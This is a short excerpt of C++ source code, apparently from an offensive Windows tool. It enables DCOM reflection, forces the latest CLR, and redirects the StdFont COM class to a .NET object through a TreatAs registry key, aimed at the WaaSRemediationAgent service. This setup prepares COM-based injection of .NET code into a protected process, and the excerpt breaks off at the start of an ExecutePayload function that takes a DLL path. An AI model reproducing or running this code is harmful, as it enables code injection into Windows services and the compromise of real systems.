| 10 | constexpr CLSID CLSID_WaaSRemediationAgent = { 0x72566e27,0x1abb,0x4eb3,{0xb4,0xf0,0xeb,0x43,0x1c,0xb1,0xcb,0x32} }; |
| 11 | |
| 12 | bool InitializeEnvironment() { |
| 13 | std::cout << "[+] Setting DcomReflection...\n"; |
| 14 | if (!RegistryUtils::SetDcomReflectionEnabled(true)) { |
| 15 | std::cerr << "[-] Failed to enable DCOM reflection\n"; |
| 16 | return false; |
| 17 | } |
| 18 | |
| 19 | std::cout << "[+] Setting OnlyUseLatestCLR...\n"; |
| 20 | if (!RegistryUtils::SetOnlyUseLatestCLR(true)) { |
| 21 | std::cerr << "[-] Failed to set OnlyUseLatestCLR.\n"; |
| 22 | return false; |
| 23 | } |
| 24 | |
| 25 | std::cout << "[+] Setting treatas...\n"; |
| 26 | if (!RegistryUtils::SetTreatAs(CLSID_StdFont, CLSID_DotNetObject)) { |
| 27 | std::cerr << "[-] Failed to set TreatAs key\n"; |
| 28 | return false; |
| 29 | } |
| 30 | std::cout << "[+] Environment initialized successfully\n"; |
| 31 | return true; |
| 32 | } |
| 33 | |
| 34 | bool ExecutePayload(const std::string& dllPath, _bstr_t staticClassName) { |
| 35 | try { |